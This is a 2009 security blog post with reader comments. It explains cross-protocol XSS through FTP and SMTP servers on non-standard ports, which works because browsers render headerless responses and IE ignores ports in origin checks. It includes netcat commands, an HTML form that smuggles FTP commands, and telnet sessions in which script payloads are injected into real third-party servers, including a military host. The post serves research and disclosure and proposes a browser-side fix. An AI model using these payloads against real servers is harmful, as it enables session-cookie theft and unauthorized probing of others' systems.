Cross-protocol XSS with non-standard service ports
UPDATE: kuza55 has pointed out correctly that the cookie-sharing across ports is universal; IE’s quirk is the port-ignorance during SOP checks.
Most people have thought about how you can use a browser to issue inter-protocol requests. See Samy’s version of SMTP-through-JavaScript, “cross-site” printing (cool, but what’s so cross-site about it again?), and this paper by NGS. However, the reverse attack is much more useful; how causing a browser to interact with another protocol can cause arbitrary JavaScript to run in the origin of a target domain. This is natural extension to that previous work, starting with the seminal “form protocol attack” paper. After doing a bunch of research I found out that this basic idea was already lightly covered in eyeonsecurity’s “extended HTML form attack” paper, but misses out many key details, mostly resulting from the fact that the browser security landscape has shifted significantly since it was written in 2002.
Let’s start from the beginning. First, this is going to be a corner case, to be sure, but the Internet is like Drake’s equation – there’s always going to be sites where unusual attacks work.
Where to start? Consider first that a browser won’t let you use HTTP to talk to any site on port 20 or 21 – the typical FTP ports. This means that if there is FTP running on any other port, you will be allowed to send requests to it. What if that FTP server responded? Well, you would think the response would be meaningless to the browser since it’s not valid HTTP.
The head-scratching behavior of browsers continues. None of the browsers I tested (IE, FF, Safari, Chrome, all recent versions) require HTTP response headers to process a request. I have no idea why that is, and this appears to be a very little known fact according to some personal polling at Blackhat. If you want to see it in action, here’s your netcat command:
[root@i8jesus ~]# echo "<script>alert(document.cookie)</script>" > script.txt
[root@i8jesus ~]# nc -l 81 < script.txt
This opens up port 81 and pipes the script to any incoming TCP connection. Try pointing your browser to that port, i.e., http://localhost:81/foo. You’ll see the alert() does fire! This is more than just content sniffing, it’s protocol sniffing.
But even if you could control the output of another port on their server, you might initially be disappointed. In the minority browsers this will be an interesting but useless quirk because the port you’re connecting to (81) is not the same port of the target website (typically 80). Because of this, your browser will consider it a different origin and thus won’t let you do anything cool like access cookies or application data.
If you’re into browser security, you probably realize where this is going. IE, the dominant browser, ignores the port when considering DOM origin. This means that document.cookie is shared between i8jesus.com:80 and i8jesus.com:81. In IE7, the only thing you can’t do across ports is XmlHttpRequest, but don’t worry – IE8 is going to remove that restriction soon!

You can see here IE ignores the port, since it's showing my WP cookies
Now let’s consider there’s an FTP server running on i8jesus.com, port 81. You can interact with that FTP server with the following HTML. Notice the enctype=’multipart/form-data’. This is what allows us to make our input look like FTP commands (as was seen in previous cross-protocol attacks).
<form method='POST' action='http://i8jesus.com:81' enctype='multipart/form-data'>
<input type='text' name='doesntmatter' value='USER anonymous'>
<input type='text' name='doesntmatter' value='PASS a@a.com'>
<input type='text' name='doesntmatter' value='HELP foo'>
<input type='submit'>
</form>
If an FTP server is running on port 81, the browser will connect to it and begin sending that multipart data. Let’s look at a real example of this happening and see how the FTP server understands the traffic. In order to facilitate this testing, I piped netcat output from my browser to a different netcat process connected to ftp.redhat.com (I had to use myself as a MITM since they listen on a standard port). Here’s a snapshot of of our traffic from the HTML form above:
POST / HTTP/1.1
Referer: http://i8jesus.com/stuff/xps/test.html
Content-Type: multipart/form-data; boundary=---------------------------7d92b92a70534
...
Cookie: <snip>
-----------------------------7d92b92a70534
Content-Disposition: form-data; name="doesntmatter"
USER anonymous
-----------------------------7d92b92a70534
Content-Disposition: form-data; name="doesntmatter"
PASS a@a.com
Since FTP separates commands by newline, the server will see bunch of garbage commands with a few legitimate ones sprinkled in between. What the server sent in the response can be seen from the output of the netcat commands:
[root@i8jesus xps]# nc -l 81 | nc ftp.redhat.com 21
220 Red Hat FTP server ready. All transfers are logged. (FTP) [no EPSV]
530 Please login with USER and PASS.
530 Please login with USER and PASS.
...
331 Please specify the password.
530 Please login with USER and PASS.
530 Please login with USER and PASS.
530 Please login with USER and PASS.
230 Login successful.
550 Permission denied.
...
214-The following commands are recognized.
ABOR ACCT ALLO APPE CDUP CWD DELE EPRT EPSV FEAT HELP LIST MDTM MKD
MODE NLST NOOP OPTS PASS PASV PORT PWD QUIT REIN REST RETR RMD RNFR
RNTO SITE SIZE SMNT STAT STOR STOU STRU SYST TYPE USER XCUP XCWD XMKD
XPWD XRMD
214 Help OK.
550 Permission denied.
As you can see the FTP server at ftp.redhat.com is clearly interpreting our HTTP traffic as separate FTP commands. Great, but now what? This is where previous attacks in the cross-protocol arena have ended. Most of the time this type of attack won’t profit the attacker much. How easy it to go to Starbucks and issue those FTP commands yourself? It’s true that tricking the user into doing it may allow you to reach hosts behind firewalls and get around IP-restrictions, but we can do better than that. So, put together what we’ve discovered so far:
1. Browsers will interpret non-HTTP responses
2. Browsers can communicate with non-HTTP servers as long as they reside on a non-standard port
3. FTP servers will interpret our commands line by line
4. IE ignores the port in origin checks
Here is the crux: we can issue FTP commands that the server will partially reflect back to the client. If this input contains JavaScript, the browser will execute it in the target origin. Let’s see what we can get some anonymous FTP servers out there to reflect back to us. The user input is in green and any interesting server output is in red:
[root@i8jesus xps]# telnet andrsn.stanford.edu 21
Trying 171.66.112.163...
Connected to andrsn.stanford.edu.
Escape character is '^]'.
220 andrsn.stanford.edu FTP server (Version 6.00LS) ready.
H<script>alert(document.cookie)</script>
500 H<SCRIPT>ALERT(DOCUMENT.COOKIE)</SCRIPT>: command not understood.
HELO <script>document.cookie)</script>
500 HELO <script>document.cookie)</script>: command not understood.
Looks like this server will upper-case the FTP command name during reflection. That will complicate things a bit (you can still exploit that with VBScript), but why not make things easier on ourselves and use the argument to HELO (a STMP command that the FTP server doesn’t recognize), since that comes back without modification! Ok, now let’s test a .mil:
[root@i8jesus xps]# telnet ftp.nima.mil 21
Trying 164.214.2.65...
Connected to ftp.nima.mil.
Escape character is '^]'.
220 emissary FTP server (Use of this DoD computer system, authorized or unauthorized, constitues consent to monitoring of this system. Unauthorized use may subject your to criminal prosecution.) ready.
HELO <script>
500 'HELO': command not understood by proxy
USER <script>alert(document.cookie)</script>
331 Password required for <script>alert(document.cookie)</script>.
PASS i dont want anything to do with you im just testing something dont rape me plz <3
530 Login incorrect.
This server reflects the USER argument. Simple, no authentication required.
Out of the few servers I’ve tested, it looks like vsFTPd is the safest in that it won’t reflect much data pre-authentication. (Un)fortunately, it looks like there are plenty of pre-authentication options and a few post-authentication options for reflecting data in most FTP servers. There are lots of FTP servers out there and lots of configurations to play with, resulting in an uncountable number of possibilities for vulnerability.
What this all means: running an FTP server on the same host as your site on a non-standard port probably makes you vulnerable to Type I XSS without you doing anything wrong. I don’t imagine it’s going to happen a lot, but I do imagine it’s going to happen.
The Solution
The solution, to me, is simple. Invoke your FindMimeFromData() equivalent on the HTTP response body, not the complete inbound TCP message. When did browsers decide to speak other protocols than HTTP? The specification doesn’t say the status line is optional. If I want to talk to an FTP server I’ll use WinSCP. Fair? Only give me shit that starts with “HTTP/1.X YYY”. It’s kind of ironic that IE processes the response successfully, but the response breaks Fiddler. Doesn’t Mr. Law, um, have a foot in both those camps?
It’s not an FTP problem
Yes, all of what I’ve said applies to other services as well. IE doesn’t block nearly as many ports as Firefox. For instance, here’s an interesting snippet from Cyrus (SMTP), which shows that exploitation is not necessarily brain-dead simple, and by the end you can see that there are enough characters to perform XSS.
[oasis@i8jesus ~]$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 ip-72-167-99-49.ip.secureserver.net ESMTP Postfix
HELO <script>alert(document.cookie)</script>
250 ip-72-167-99-49.ip.secureserver.net
EHLO <script>alert(document.cookie)</script>
250-ip-72-167-99-49.ip.secureserver.net
...
250 DSN
MAIL FROM: <script>alert(document.cookie)</script>
501 5.1.7 Bad sender address syntax
RCPT TO: <script>alert(document.cookie)</script>
503 5.5.1 Error: need MAIL command
MAIL FROM: Joe Blow
555 5.5.4 Unsupported option: Blow
MAIL FROM: Joe
250 2.1.0 Ok
RCPT TO: <script>alert(document.cookie)</script>
501 5.1.3 Bad recipient address syntax
RCPT TO: sdf
550 5.1.1 <sdf>: Recipient address rejected: User unknown in local recipient table
RCPT TO: img src='javascript:alert(1)'
555 5.5.4 Unsupported option: src='javascript:alert(1)'
RCPT TO: img/src='javascript:alert(1)'
501 5.1.3 Bad recipient address syntax
RCPT TO: img/src=javascript:alert(1)
550 5.1.1 <img/src=javascript:alert>: Recipient address rejected: User unknown in local recipient table
RCPT TO: img/src=javascript:alert{}
550 5.1.1 <img/src=javascript:alert{}>: Recipient address rejected: User unknown in local recipient table
quit
221 2.0.0 Bye
Connection closed by foreign host.
[oasis@i8jesus ~]$
kuza55 said,
Wrote on August 31, 2009 @ 12:38 am
Actually, all browsers are going to share cookies across ports, there’s nothing special about IE there. IE does however not even enforce the SOP across port boundaries (just use some JS to jump across).
I’m not sure if you tested Firefox (I haven’t done so since mid last year), but when I last tested it (Firefox 2.X), it did require the server to send back the string http in the first 8 bytes of the response, maybe this has changed though…
Also, Sandro Gauci compiled a list of blocked ports last year which may be interesting to you: http://resources.enablesecurity.com/resources/the%20extended%20html%20form%20attack%20revisited.pdf
arshan dabirsiaghi said,
Wrote on August 31, 2009 @ 7:51 am
You are correct about cookie-sharing across browsers – I extrapolated IE’s port-failure regarding SOP incorrectly.
However, Firefox 3.0.13 does not require ‘HTTP’ to be in the first X bytes, contrary to the paper.
[root@i8jesus ~]# cat script.txt
<script>alert(document.cookie)</script>
[root@i8jesus ~]# nc -l 81 < script.txt
GET / HTTP/1.1
Host: i8jesus.com:81
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729)
…
And well, I guess I can’t paste the screenshot here, but it just works. =)
nickhacks said,
Wrote on August 31, 2009 @ 10:48 am
Restrictive firewall rules can also help with this. For example, only allow incoming connections on 80 and 443 and then customize to your environment where necessary
Sandro Gauci said,
Wrote on August 31, 2009 @ 6:17 pm
Good to see interest in this :-> I put together some replies
I have no idea why that is, and this appears to be a very little known fact according to some personal polling at Blackhat.
My guess is that’s probably because of HTTP/0.9 support.
Looks like this server will upper-case the FTP command name during reflection.
No need to include your javascript inside the content. You could always reference a website (<script src=http://blabla)
running an FTP server on the same host as your site on a non-standard port probably makes you vulnerable to Type I XSS without you doing anything wrong.
If the cookie is set for the whole domain (eg *.i8jesus.com), then any host which has a forward name and a service that reflects back data, is a good candidate for exploitation. I.e. not running the ftp server on the same host will not protect you.
Note that my paper was updated last year (kuza55 already referenced it) to reflect modern browser behavior.
http://resources.enablesecurity.com/resources/the%20extended%20html%20form%20attack%20revisited.pdf
In that updated paper, I’d implied what Kuza55 mentioned regarding Firefox. Seems like the behavior might have changed, or I had inconsistent results.
- sandro
Sandro Gauci said,
Wrote on August 31, 2009 @ 6:24 pm
apologies for the confusion. I used > quote < to quote you but they got stripped out -_-; so its just one blob now.
feel free to edit the comment to make it more readable.
email me in case of questions =)
The Almost Hopeless Challenge Of Web Security said,
Wrote on August 31, 2009 @ 9:52 pm
[...] instance, today I read about (via dalmaer of Ajaxian) a newly discovered potential means for XSS and XSRF exploits by forcing a [...]
The Almost Hopeless Challenge Of Web Security | Submitter said,
Wrote on September 1, 2009 @ 2:02 am
[...] instance, today I read about (via dalmaer of Ajaxian) a newly discovered potential means for XSS and XSRF exploits by forcing a [...]
infinity's status on Tuesday, 01-Sep-09 07:49:12 UTC - Identi.ca said,
Wrote on September 1, 2009 @ 2:49 am
[...] XSS with non-standard service ports: http://i8jesus.com/?p=75 [...]
All Tecked Up « Caintech.co.uk said,
Wrote on September 1, 2009 @ 3:09 am
[...] one Windows Exploit Programming Primer [2 hr video] Segmentation of the Top 100 Sites in the US Cross-protocol XSS with non-standard service ports Download IE 8 and donate 8 meals to charity Performance in Factor, Java, and Clojure Android [...]
Webのセキュリティ努力のゴールにあるのは「絶望」のみ said,
Wrote on September 1, 2009 @ 5:52 am
[...] たとえば今日、Ajaxianのdalmaerが教えてくれた記事には、最近見つかったXSS/XSRFの新しい手口として、ブラウザにHTTPをHTTPでないサーバに送らせ、返ってくるそのコードのリスポンスを解釈させ、実行させる、というやり方が紹介されている(ぼくのこんな短い文を読むよりは、元のこの優れた説明を、アプリケーションのデベロッパ全員が読むべきだ)。このように、日常的な信頼関係につけ込んでユーザをだます新手(あらて)のやり口に、数週間に一回は出会ってる気がする。 [...]
arshan dabirsiaghi said,
Wrote on September 1, 2009 @ 10:36 am
thanks for your comments, sandro, you definitely re-pioneered this area. i never saw your paper before alex pointed it out, and it’s a good one. i have a feeling ie will have to update their port list soon with the increased attention.
re: HTTP/0.9, was there ever a specification? the first hit on google shows a BNF (sort of) that indicates a status line is required. this is just trivia, anyway.
yes, my ftp is no different from anyone else’s, but thankfully it runs on port 21
re: *.foo.com. you’re right. this means that google -can’t- have a publicly accessible ftp/smtp/whatevertp on a non-standard port anywhere on the web – how likely is that?
i think an interesting avenue to research would be to see if active script delivered during an SSL handshake could result in any exploitable scenarios. i think that area is just as likely to be vulnerable, but people don’t know how to easily intercept that SSL negotiation traffic
Acidus said,
Wrote on September 1, 2009 @ 11:38 am
Sexy post.
My guess is the reason browser don’t need HTTP response headers to process a response as a webpage is so they can support HTTP/0.9. These are simply “GET /resource.html” style requests and byte stream responses. No HTTP status codes or headers.
http://www.w3.org/Protocols/HTTP/AsImplemented.html
Why would a browser process a HTTP/0.9 style response when it made a HTTP/1.1 or HTTP/1.0 style request? The browser has no way of knowing what the server supports. For all it knows it really is talking to a HTTP/0.9 server which accepted the GET request line, ignored the HTTP request headers as invalid requests, and returned an HTTP/0.9 response. Backwards compatibility and all that jazz.
Is this all a guess? Yes. If I’m right is this stupid behavior for a modern browser? Indeed. The chance of finding a HTTP/0.9 server is far less than the chance of someone bouncing HTTP through some other text protocol.
Cross-protocol XSS with non-standard service ports « Longjidin’s Kg Lengkong to Bukit Lada said,
Wrote on September 1, 2009 @ 7:47 pm
[...] to Arshan Klik here for More Tagged with: Cross-protocol XSS with non-standard leave a comment « Microsoft IIS FTP [...]
Blog :: by Wade Woolwine » Blog Archive » News and Commentary :: by WadeW and You (09/04/2009) said,
Wrote on September 4, 2009 @ 6:20 am
[...] Cross-protocol XSS with non-standard service ports from omg.wtf.bbq. File this under “yet another awesome use for XSS”! Seriously, Arshan’s managed to leverage an XSS vulnerability to log into an FTP server (*provided the FTP server is hosted on a non-standard port)! Let’s consider another service that uses plain text to enable client/server communications: SMTP. Now lets consider that quite often, internal SMTP servers don’t (always) enforce authentication and authorization when relaying emails. Finally, consider that most modern business communications happen via email. This really spells disaster above and beyond the usual “Email from the CEO” pranks. What about account brute forcing? I’m glad you asked! Think of the POP3 service that might be exposed on your internal networks to support all those non-Windows folks. Seems like this approach could be used to perform password brute forcing on any service that uses text for client/server interactions. [...]
kindle said,
Wrote on November 16, 2009 @ 9:19 pm
不错的思路